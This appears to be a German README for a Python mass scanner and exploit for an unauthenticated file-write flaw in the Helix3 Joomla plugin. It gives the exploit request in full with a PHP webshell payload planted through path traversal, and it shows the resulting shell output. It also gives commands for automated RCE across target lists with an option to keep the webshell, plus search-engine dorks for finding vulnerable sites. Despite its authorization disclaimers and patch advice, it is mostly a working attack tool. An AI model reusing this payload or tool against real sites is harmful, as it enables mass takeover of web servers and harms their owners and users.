
CVE-2026-49049 Helix3 (JoomShaper) Joomla Nicht authentifizierter AJAX RCE Scanner
Massenscanner/Verifizierer für CVE-2026-49049: nicht authentifizierter AJAX-Handler im Helix3 Framework-Plugin für Joomla (v1.0 – 3.1.0, gepatcht in 3.1.1+).
Nur autorisierte Tests. Verwenden Sie dies nur auf Systemen, die Ihnen gehören oder für die Sie eine schriftliche Erlaubnis zum Testen haben.
Handler onAjaxHelix3() in plugins/ajax/helix3/helix3.php ist über Joomla com_ajax ohne Authentifizierung / CSRF-Token erreichbar:
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded
data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
| Aktion | Auswirkung | Versionen |
|---|---|---|
save | Beliebiges JSON-Datei-Schreiben + Pfad-Traversal | 1.0 – 3.1.0 |
remove | Beliebiges Löschen von Dateien (keine Erweiterungs-/Pfad-Einschränkung) | 1.0 – 3.1.0 |
import | Überschreiben von Template-Parametern in der DB (custom_js unescaped → XSS/Defacement) | nur v3.x |
| Helix3 Version | save / remove | import | Status |
|---|---|---|---|
| 1.0 – 2.x | Anfällig | Nicht vorhanden | Anfällig |
| 3.0 – 3.1.0 | Anfällig | Anfällig | Anfällig |
| 3.1.1+ | Gepatcht | Gepatcht | Sicher |
Aktive Massenausnutzung in freier Wildbahn setzt oft eine Doppel-Extension-Webshell ab:
< 3.1.1save mit layoutName=../../up.php + PHP-Webshell-Inhalt.json an → up.php.json landet im Web-RootAddHandler Multi-Extension führt den .php-Token ausGET /up.php.json?cmd=id → uid=33(www-data) = SHELL OKHelix3 erkennen
→ POST com_ajax?plugin=helix3 (action=save, traversal)
→ up.php.json geschrieben
→ GET up.php.json?cmd=id
→ uid=33(www-data)
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
Anforderungen: requests>=2.31.0, colorama>=0.4.6, Python 3.9+.
Bearbeiten Sie targets.txt — eine URL / Host pro Zeile (# = Kommentar). Der Joomla-Pfad bleibt erhalten:
# beispiel
https://example.com/
https://example.com/joomla/
http://192.168.1.50/
Es wird keine Webshell abgelegt. Prüft Version + testet save / remove / import:
python3 scan.py -f targets.txt --scan -o results.txt
python3 scan.py -f targets.txt --auto -c "id" -o results.txt
python3 scan.py -t https://ziel.tld/joomla/ --auto -c "id"
# Webshell nach Verifikation behalten (demo autorisiert)
python3 scan.py -f targets.txt --auto --keep
# Benutzerdefinierter Webshell-Name + Traversal-Tiefen
python3 scan.py -f targets.txt --auto \
--webshell-name up.php \
--traversal-depths "../../,../../../"
# JSON-Bericht + Parallelität
python3 scan.py -f targets.txt --auto -c "whoami" \
--threads 20 --timeout 15 \
-o results.txt --json report.json
# Proxy (Burp / etc.)
python3 scan.py -t https://ziel.tld/ --scan --proxy http://127.0.0.1:8080
| Flag | Beschreibung |
|---|---|
-f / --file | Datei mit Zielliste (Standard: targets.txt wenn -t fehlt) |
-t / --target | Einzelne Ziel-URL |
--scan | Nur-Lese-Erkennung |
--auto | Erkennung + RCE-Verifikation (Standard) |
-c / --cmd | Befehl zur Verifikation (Standard: id) |
-o / --output | Ergebnisdatei — nur Ziele mit VULN / SHELL_OK |
--json | Strukturierter JSON-Bericht |
--keep | Webshell nach Verifikation nicht automatisch entfernen |
--threads | Gleichzeitige Worker (Standard: 15) |
--timeout | HTTP-Timeout in Sekunden (Standard: 15) |
Warnung: Der Modus
--autoversucht, eine Webshell per Pfad-Traversal zu schreiben. Standard: Webshell wird nach Verifikation entfernt. Verwenden Sie--keepnur für autorisierte Demos.
Terminal zeigt alle Status (Fortschritt). results.txt enthält nur anfällige Ziele:
[v] CVE-2026-49049 SHELL OK https://ziel.tld Helix3 2.5.6 save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell: https://ziel.tld/up.php.json?cmd=id
[ ] VULN (keine Shell) https://ziel.tld Helix3 3.0.2 save=Y remove=Y import=Y
Andere Labels (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) erscheinen nur im Terminal, nicht in results.txt.
Verwenden Sie die folgenden Dorks, um potenziell betroffene Helix3-/Joomla-Assets zu finden. Scannen Sie nur autorisierte Ziele.
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"
# Versionsprüfung
curl -sk 'https://ZIEL/templates/shaper_helix3/templateDetails.xml' | grep -i version
# Unauth-save-Test (nur autorisiert)
curl -sk -X POST \
'https://ZIEL/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
Aktualisieren Sie System – Helix3 Framework und Helix3 – Ajax-Plugin auf 3.1.1 oder neuer (empfohlen 3.1.2).
Das Update bereinigt nicht die bereits in der Datenbank befindlichen Payloads.